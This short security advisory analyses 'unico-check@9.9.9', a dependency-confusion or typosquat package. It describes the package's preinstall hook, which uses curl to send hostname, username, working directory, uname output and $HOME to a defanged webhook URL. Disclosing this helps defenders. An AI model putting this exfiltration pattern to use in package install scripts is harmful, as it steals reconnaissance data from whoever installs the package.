unico-check@9.9.9

Analysis

unico-check@9.9.9 is a dependency-confusion/typosquat package containing a preinstall script that exfiltrates host system information. On install, the hook runs: curl to hxxps://webhook[.]site/fe1246c2-ac04-4493-b223-fe34ba26b79f?pkg=unico-check with query parameters capturing $(hostname), $(whoami), $(pwd), $(uname -a), and $HOME. This system reconnaissance data is sent to an external callback endpoint, enabling the attacker to profile victims for follow-on exploitation.